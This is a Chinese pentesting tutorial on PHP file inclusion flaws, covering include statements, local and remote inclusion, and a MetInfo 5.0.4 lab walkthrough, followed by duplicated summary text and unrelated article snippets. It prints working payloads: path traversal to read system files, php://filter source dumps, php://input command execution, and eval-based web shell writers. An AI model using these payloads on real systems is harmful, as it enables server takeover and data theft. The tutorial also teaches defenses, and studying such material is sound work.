文件包含漏洞

文章目录

  • 渗透测试漏洞原理
  • 文件包含漏洞
    • 1. 文件包含概述
      • 1.1 文件包含语句
        • 1.1.1 相关配置
      • 1.2 动态包含
        • 1.2.1 示例代码
        • 1.2.2 本地文件包含
        • 1.2.3 远程文件包含
      • 1.3 漏洞原理
      • 1.4 文件包含和文件读取的区别
    • 2. 文件包含攻防
      • 2.1 利用方法
        • 2.1.1 包含图片木马
        • 2.1.2 读取敏感文件
        • 2.1.3 读取PHP文件源码
        • 2.1.4 执行PHP命令
        • 2.1.5 包含图片木马写Shell
        • 2.1.6 包含日志
      • 2.2 经典案例(metinfo_5.0.4_lfi)
        • 2.2.1 漏洞页面
        • 2.2.2 漏洞利用
        • 2.2.3 文件包含
        • 2.2.4 文件上传
      • 2.3 文件包含防御
    • 3. 总结

渗透测试漏洞原理

文件包含漏洞

在这里插入图片描述

1. 文件包含概述

程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。

程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设置为变量,来进行动态调用(包含),但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。

几乎所有的脚本都会提供文件包含的功能,文件包含漏洞在PHP 的Web 应用中居多,在JSP/ASP/ASP.NET 程序中比较少。

1.1 文件包含语句

PHP 提供了四个文件包含的语句,四个语句之间略有不同。

语句区别
include()多次包含,多次执行;
如果包含失败,脚本产生警告,继续运行。
include_once()多次包含,一次执行;
如果包含失败,脚本产生警告,继续运行。
require()多次包含,多次执行;
如果包含失败,脚本产生错误,结束执行。
require_once()多次包含,一次执行;
如果包含失败,脚本产生错误,结束执行。

语句具体介绍:PHP: Hypertext Preprocessor。

基础代码

<?php$fp = "../phpinfo.php";include($fp);
?>

访问该文件后页面显示效果

image-20230831175311845

1.1.1 相关配置

文件包含是PHP 的基本功能之一,有本地文件包含与远程文件包含之分。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置。

allow_url_fopen = On/Off 	# 通过远程方式打开文件
allow_url_include = On/Off	# 通过远程方式包含文件

默认第二个选项是关闭的

image-20230831184452319

为了后面的实验方便,修改其配置。

配置方式:找到php配置文件php.ini,修改一下参数为On。

image-20230831184608515

1.2 动态包含

1.2.1 示例代码

// file-include.php
<?php$fp = @$_GET['filepath'];@include $fp;//或者include($fp);
?>

1.2.2 本地文件包含

本地文件包含(Local File Include,LFI)通过本地路径访问到的文件。

?filepath=../phpinfo.php

image-20230831185107692

1.2.3 远程文件包含

远程文件包含(Remote File Include,RFI),通过远程路径访问到的文件。

?filepath=http://192.168.188.183/phpinfo.php

image-20230831190353520

1.3 漏洞原理

原理

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。

特点

无视文件扩展名读取文件内容。

?filepath=./a.jpg

无条件解析PHP 代码,为图片木马提供了出路。

?filepath=a_yjh_info.jpg

实验:将phpinfo.php文件的后缀名修改为png图片格式,然后再次访问。

?filepath=../phpinfo.php.png

image-20230831190823303

1.4 文件包含和文件读取的区别

  • 文件读取执行的时候php源码没有执行

  • 文件包含执行的时候php源码执行了

区别如下:

  1. 文件包含漏洞(File Inclusion Vulnerability):
    • 定义:文件包含漏洞指的是在动态引用文件的过程中,未对用户输入进行充分验证或过滤,导致攻击者可以通过构造恶意的文件路径或参数来执行任意文件的包含,包括本地文件或远程文件。
    • 影响:攻击者可以利用文件包含漏洞来执行任意代码,包括系统命令执行、代码注入、信息泄露等攻击行为。这可能导致服务器被入侵、数据泄露、拒绝服务等严重后果。
    • 防范措施:应该始终对用户输入进行严格的验证和过滤,并且不信任用户提供的文件路径或参数。最好使用白名单机制来限制可包含的文件范围,避免直接使用用户输入作为文件路径或参数。
  2. 文件读取漏洞(File Disclosure Vulnerability):
    • 定义:文件读取漏洞指的是在对文件进行读取的过程中,未对文件路径进行充分验证或限制,导致攻击者可以访问和读取不应公开的敏感文件,包括配置文件、源代码、数据库凭证等。
    • 影响:攻击者可以获取敏感信息,如数据库凭证、服务器配置、应用程序代码等。这可能导致数据泄露、系统被入侵、身份盗窃等安全问题。
    • 防范措施:应该对文件路径进行严格的验证和过滤,确保只允许访问必要的文件。尽量避免将敏感信息存储在可被公开访问的目录中,并采取适当的权限设置和访问控制策略,限制文件读取的范围。

综上所述,文件包含漏洞和文件读取漏洞都是安全漏洞,但主要区别在于文件包含漏洞是通过攻击者构造恶意的文件路径或参数来执行任意文件包含,而文件读取漏洞则是未对文件路径进行严格验证或限制,导致攻击者可以读取不应公开的敏感文件。

2. 文件包含攻防

2.1 利用方法

2.1.1 包含图片木马

蚁剑直接连接

http://192.168.188.183/MetInfo_5.0.4/about/index.php?fmodule=7&module=../upload/file/wuhu.jpg

2.1.2 读取敏感文件

利用文件包含漏洞,也可以读取敏感文件。前提条件:

  • 目标文件存在(已知目标文件路径)。
  • 具有文件可读权限。

具体方法:

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

php伪协议file

封装协议说明
file://访问本地文件系统
http://访问 HTTP(s) 网址
ftp://访问 FTP(s) URLs
php://访问各个输入/输出流(I/O streams)
zlib://压缩流
data://数据(RFC 2397)
glob://查找匹配的文件路径模式
phar://PHP 归档
ssh2://Secure Shell 2
rar://RAR
ogg://音频流
expect://处理交互式的流

2.1.3 读取PHP文件源码

利用php://fileter 读取:

?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]

读取错误

PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==

2.1.4 执行PHP命令

利用条件

  • 利用php://input 执行PHP 命令;
  • 远程文件包含开启。
POST /file-include/include.php?filepath=php://input HTTP/1.1 
Host: 192.168.188.183
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate 
Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582 
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache 
Content-Length: 18<?php phpinfo();?>
或者
<?php system('whoami'); ?>

2.1.5 包含图片木马写Shell

条件:

  • 确定文件包含漏洞存在
  • 蚁剑不能直接连接

写shell

<?php  fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?> <?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?>

利用

http://192.168.188.183/file-include/shell.php

2.1.6 包含日志

Apache日志

  • 访问日志
  • 错误日志

Nginx日志

  • 访问日志
  • 错误日志

SSH日志

邮件日志

2.2 经典案例(metinfo_5.0.4_lfi)

网站页面image-20230831191834874

2.2.1 漏洞页面

产生文件包含的文件为/about/index.php

image-20230831192114974

这里的$module值存在文件包含。

2.2.2 漏洞利用

/about/index.php?fmodule=7&module=[filePath]

漏洞分析

尝试输出$module。在源码中添加echo代码,查看页面显示效果。

image-20230831193152701

输出结果如下:

image-20230831193130417

查看module.php文件

搜索 f m o d u l e 变量,发现只有当 fmodule 变量,发现只有当 fmodule变量,发现只有当fmodule!=7 时,会对$module进行验证。

image-20230831192911842

2.2.3 文件包含

提交参数【?fmodule=7&module=c://windows/system32/drivers/etc/hosts】,此时我们已经改变了$module的值,其值为hosts文件的绝对路径。

?fmodule=7&module=c://windows/system32/drivers/etc/hosts

读取成功

image-20230831193927989

文件包含的危害之一就是文件读取。

如何证明该漏洞是文件包含漏洞,如果在执行命令后PHP代码执行了,那么就是文件包含漏洞。

如下页面显示成功而不是show.php源代码,php代码执行,说明是文件包含漏洞。

image-20230831194407752

2.2.4 文件上传

登录网站

用户名:wuhu密码:123456

image-20230831200035598

寻找文件功能上传点

image-20230831194848271

上传图片木马

image-20230831195616760

提交成功

image-20230831195650474

直接使用蚁剑进行连接

http://192.168.188.183/MetInfo_5.0.4/upload/file/wuhu.jpg

发现无法连接

image-20230831200918972

使用文件包含

image-20230831201337309

然后使用蚁剑进行连接

http://192.168.188.183/MetInfo_5.0.4/about/index.php?fmodule=7&module=../upload/file/wuhu.jpg

image-20230831201414038

可以读取敏感文件

../../../../../../windows/system32/drivers/etc/hosts

image-20230831201712374

读取PHP源码

http://192.168.188.183/MetInfo_5.0.4/about/index.php?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php

image-20230831202007729

base64解码

image-20230831202619759

执行PHP 命令

找到对应的数据包

image-20230831203003415

转换为POST请求

image-20230831203142942

转换为POST提交方式后,将fmodule值放在URL中进行提交

image-20230831203347926

修改module的值为php://input

image-20230831203455646

然后在后面添加php代码即可

image-20230831203626805

<?php system('whoami'); ?>

image-20230831203834677

2.3 文件包含防御

  • 尽量少用动态包含
  • 严格过滤被包含文件的路径
  • 将参数allow_url_include 设置为Off
  • 使用参数open_basedir 限定文件访问范围。
open_basedir = C:\software\phpstudy_pro\WWW

3. 总结

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过构造恶意请求,将恶意代码或者非授权文件包含到应用程序中执行。下面将从漏洞描述、漏洞场景、漏洞原理、漏洞危害、漏洞验证、利用方法和漏洞防御几个方面详细解释文件包含漏洞。

  1. 漏洞描述: 文件包含漏洞指的是在应用程序的实现中,未正确过滤用户可控制的文件路径或文件名等输入,导致攻击者能够控制文件的加载行为。这使得攻击者可以通过恶意构造的请求,读取、执行或包含不受控制的文件,从而导致安全问题。
  2. 漏洞场景: 文件包含漏洞主要存在于以下情境中:
  • 动态加载文件:当应用程序使用用户提供的文件路径或文件名来动态加载文件时,如果没有对输入进行充分过滤和验证,就容易受到文件包含漏洞的攻击。
  • 文件包含函数:一些编程语言和框架提供了文件包含函数(如PHP的include、require等),如果不正确使用这些函数,也可能导致文件包含漏洞。
  1. 漏洞原理: 文件包含漏洞的原理是应用程序在处理用户可控制的输入时,未对输入进行充分的验证和过滤,攻击者通过构造恶意请求,将特定的字符串作为文件路径或文件名的一部分传递给应用程序。由于缺乏有效的输入验证,应用程序可能会把用户提供的恶意输入当作合法的文件路径,并加载或执行其中的内容。
  2. 漏洞危害: 文件包含漏洞可能导致以下危害:
  • 读取敏感文件:攻击者可以通过构造恶意请求,读取系统中的敏感文件,例如配置文件、密码文件、数据库文件等,从而获取敏感信息。
  • 执行恶意代码:攻击者可以利用文件包含漏洞,将恶意代码包含到应用程序中执行,从而控制服务器、窃取用户信息,或者进一步入侵系统。
  • 提权攻击:如果应用程序在执行包含文件时使用了高权限,攻击者可以通过文件包含漏洞来提升自己的权限,访问系统中更敏感的资源。
  1. 漏洞验证: 验证文件包含漏洞的方法之一是尝试通过构造恶意请求来读取非授权文件。攻击者可以尝试使用特殊字符(如…/)来绕过文件路径的限制,或者尝试包含远程文件,并观察是否可以成功读取或执行文件。
  2. 利用方法: 攻击者可以通过以下方法利用文件包含漏洞:
  • 本地文件包含(Local File Inclusion,LFI):攻击者构造恶意请求,指定特定文件路径,包含或读取服务器本地的文件。
  • 远程文件包含(Remote File Inclusion,RFI):攻击者构造恶意请求,指定远程文件的URL,使应用程序将远程文件的内容加载到应用中执行。
  1. 漏洞防御: 为了防止文件包含漏洞,开发人员应采取以下防御措施:
  • 输入验证和过滤:对用户输入进行充分验证和过滤,确保输入的文件路径或文件名是合法且预期的。
  • 白名单策略:限制应用程序只能访问必要的文件,设计一个白名单来限制可包含的文件和路径,防止直接访问用户提供的路径。
  • 安全配置:配置服务器和应用程序的安全设置,确保文件权限正确、仅允许访问必要的文件,并及时更新和修补已知的漏洞。

综上所述,文件包含漏洞可以导致攻击者读取、执行或包含不受控制的文件,进而对应用程序和系统造成严重风险。为了防止该漏洞,开发人员需要进行充分的输入验证和过滤,限制文件访问权限,并配置安全策略来防御此类攻击。

行文件。
2. 利用方法: 攻击者可以通过以下方法利用文件包含漏洞:

  • 本地文件包含(Local File Inclusion,LFI):攻击者构造恶意请求,指定特定文件路径,包含或读取服务器本地的文件。
  • 远程文件包含(Remote File Inclusion,RFI):攻击者构造恶意请求,指定远程文件的URL,使应用程序将远程文件的内容加载到应用中执行。
  1. 漏洞防御: 为了防止文件包含漏洞,开发人员应采取以下防御措施:
  • 输入验证和过滤:对用户输入进行充分验证和过滤,确保输入的文件路径或文件名是合法且预期的。
  • 白名单策略:限制应用程序只能访问必要的文件,设计一个白名单来限制可包含的文件和路径,防止直接访问用户提供的路径。
  • 安全配置:配置服务器和应用程序的安全设置,确保文件权限正确、仅允许访问必要的文件,并及时更新和修补已知的漏洞。

综上所述,文件包含漏洞可以导致攻击者读取、执行或包含不受控制的文件,进而对应用程序和系统造成严重风险。为了防止该漏洞,开发人员需要进行充分的输入验证和过滤,限制文件访问权限,并配置安全策略来防御此类攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/114190.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java实现根据关键词搜索京东商品列表数据方法,当当API接口(jd.item_search)申请指南

要通过京东网的API获取商品列表数据&#xff0c;您可以使用京东开放平台提供的接口来实现。以下是一种使用Java编程语言实现的示例&#xff0c;展示如何通过京东开放平台API获取商品列表&#xff1a; 首先&#xff0c;确保您已注册成为当当开放平台的开发者&#xff0c;并创建…

提高工作效率的一键查询和保存大量快递物流信息的技巧

在如今快速发展的电商行业中&#xff0c;物流服务的准确与便捷是保证顺利交付商品的重要环节。为了方便用户追踪物流&#xff0c;固乔快递查询助手应运而生。这款软件不仅能够快速查询快递单号的物流信息&#xff0c;还具备保存查询结果的功能&#xff0c;方便用户随时查看。 首…

QT(8.31)加载资源文件,信号与槽机制

作业&#xff1a; 实现登录界面&#xff0c;设置账号为admin&#xff0c;密码为123456&#xff0c;登陆成功则退出当前界面&#xff0c;切换到其他界面&#xff0c;密码错误或者账号不匹配则清空账号密码输入框中的内容&#xff0c;并输出登录失败&#xff0c;点击取消则退出当…

C语言memcpy与memmove

C语言memcpy与memmove memcpy memcpy函数原型 void* memcpy(void* dst,const void* src,size_t size);//const修饰src,表示不应该修改src指向的数据memcpy用于实现数据的拷贝操作&#xff0c;将src往后的size字节数据拷贝到dst指向的空间 memcpy的实现&#xff1a; void*…

Leetcode每日一题:1267. 统计参与通信的服务器

原题 这里有一幅服务器分布图&#xff0c;服务器的位置标识在 m * n 的整数矩阵网格 grid 中&#xff0c;1 表示单元格上有服务器&#xff0c;0 表示没有。 如果两台服务器位于同一行或者同一列&#xff0c;我们就认为它们之间可以进行通信。 请你统计并返回能够与至少一台其…

gdb 快速上手(附带测试案例)

在终端使用 gdb 对程序进行调试比较复杂&#xff0c;本文旨在帮助小白快速上手 gdb &#xff0c;所以只介绍了一些比较重要的命令&#xff01; 案例代码在文末&#xff01; 一、gdb 调试 1、编译源文件 gcc -g test.c -o test 2、启动程序 gdb ./test 结果如下&#xff1a;…

Ansible学习笔记3

ansible模块&#xff1a; ansible是基于模块来工作的&#xff0c;本身没有批量部署的能力&#xff0c;真正具有批量部署的是ansible所运行的模块&#xff0c;ansible只是提供一个框架。 ansible支持的模块非常多&#xff0c;我们并不需要把每个模块记住&#xff0c;而只需要熟…

高基数类别特征预处理:平均数编码 | 京东云技术团队

一 前言 对于一个类别特征&#xff0c;如果这个特征的取值非常多&#xff0c;则称它为高基数&#xff08;high-cardinality&#xff09;类别特征。在深度学习场景中&#xff0c;对于类别特征我们一般采用Embedding的方式&#xff0c;通过预训练或直接训练的方式将类别特征值编…

day 31 面向对象 成员方法

class 类名称&#xff1a; 类的属类(定义在类中的变量&#xff0c;成员变量) 类的行为(定义在类中的函数&#xff0c;成员方法) # 设计一个类&#xff08;类比生活中&#xff1a;设计一张等级表&#xff09; class Student:name Nonegender Nonenatio…

DWA算法学习

一、DWA概念  DWA(动态窗口法)属于局部路径规划方法&#xff0c;为ROS中主要采用的方法。其原理主要是在速度空间&#xff08;v,w&#xff09;中采样多组速度&#xff0c;并模拟这些速度在一定时间内的运动轨迹&#xff0c;再通过一个评价函数对这些轨迹打分&#xff0c;最优的…

15.坐标添加带箭头的线

ol的官网示例中有绘制带箭头的线的demo&#xff0c;那个是交互式绘制&#xff0c;而不是根据经纬度坐标添加&#xff0c;在其基础上稍作修改&#xff0c;即可转为通过经纬度添加带箭头的线的功能&#xff0c;线和箭头的粗细大小样式都可以自定义 代码如下 <!DOCTYPE HTML P…

Java 多线程系列Ⅰ(创建线程+查看线程+Thread方法+线程状态)

多线程基础 一、创建线程的五种方法前置知识1、方法一&#xff1a;使用继承Thread类&#xff0c;重写run方法2、方法二&#xff1a;实现Runnable接口&#xff0c;重写run方法3、方法三&#xff1a;继承Thread&#xff0c;使用匿名内部类4、方法四&#xff1a;实现Runnable&…

5G工业网关赋能救护车远程监控,助力高效救援

智慧医疗是传统医疗业发展进步的必要趋势&#xff0c;医疗设备通过物联网技术的应用实现智能化转型。通过5G工业网关将医疗器械等设备的数据采集再经过专网传输到医疗系统中&#xff0c;实现医疗设备间的数据共享和远程监控&#xff0c;能够帮助医疗行业大大提高服务质量和管理…

Weblogic漏洞(四)之 CVE-2018-2894 任意文件上传漏洞

CVE-2018-2894 任意文件上传漏洞 漏洞影响 Weblogic受影响的版本&#xff1a; 10.3.6.012.1.3.012.2.1.212.2.1.3 漏洞环境 此次我们使用的是vnlhub靶场搭建的环境&#xff0c;是vnlhub中的Weblogic漏洞中的CVE-2018-2894靶场&#xff0c;我们 cd 到 CVE-2018-2894&#x…

基于KNN算法的鸢尾花种类预测

导入数据 iris_data load_iris() iris_data.data[0:5, :]array([[5.1, 3.5, 1.4, 0.2],[4.9, 3. , 1.4, 0.2],[4.7, 3.2, 1.3, 0.2],[4.6, 3.1, 1.5, 0.2],[5. , 3.6, 1.4, 0.2]])# 特征值名称 iris_data.feature_names[sepal length (cm),sepal width (cm),petal length (cm…

12、监测数据采集物联网应用开发步骤(9.1)

监测数据采集物联网应用开发步骤(8.2) TCP/IP Server开发 在com.zxy.common.Com_Para.py中添加如下内容 #锁机制 lock threading.Lock() #本机服务端端口已被连接客户端socket list dServThreadList {} #作为服务端接收数据拦截器 ServerREFLECT_IN_CLASS "com.plug…

PMP - 敏捷 3355

三个核心 产品负责人 负责最大化投资回报&#xff08;ROI&#xff09;&#xff0c;通过确定产品特性&#xff0c;把他们翻译成一个有优先级的列表 为下一个 sprint 决定在这个列表中哪些应该优先级最高&#xff0c;并且不断调整优先级以及调整这个列表 职责是定义需求、定义…

SSL核心概念 SSL类型级别

SSL&#xff1a;SSL&#xff08;Secure Sockets Layer&#xff09;即安全套接层&#xff0c;及其继任者传输层安全&#xff08;Transport Layer Security&#xff0c;TLS&#xff09;是为网络通信提供安全及数据完整性的一种安全协议。TLS与SSL在传输层对网络连接进行加密。 H…

取暖器UL1278测试项目及注意事项!!!

UL1278是可移动的挂墙式或吊顶式室内电暖器的标准&#xff0c;适用于额定电压不超过600V的可移动的且挂墙式或吊顶式的电暖器。不适用于固定式电暖器&#xff0c; 管道式电暖器&#xff0c;中心加热的炉。 取暖器UL认证UL1278标准测试项目&#xff1a; 泄露电流试验&#xff…

leetcode 503. 下一个更大元素 II

2023.8.28 本题类似于下一个更大元素I &#xff0c;区别就是数组变成循环的了&#xff0c;可以将nums数组先double一下&#xff0c;如&#xff1a;{1&#xff0c;2&#xff0c;1}变成{1&#xff0c;2&#xff0c;1&#xff0c;1&#xff0c;2&#xff0c;1}&#xff0c;再用单调…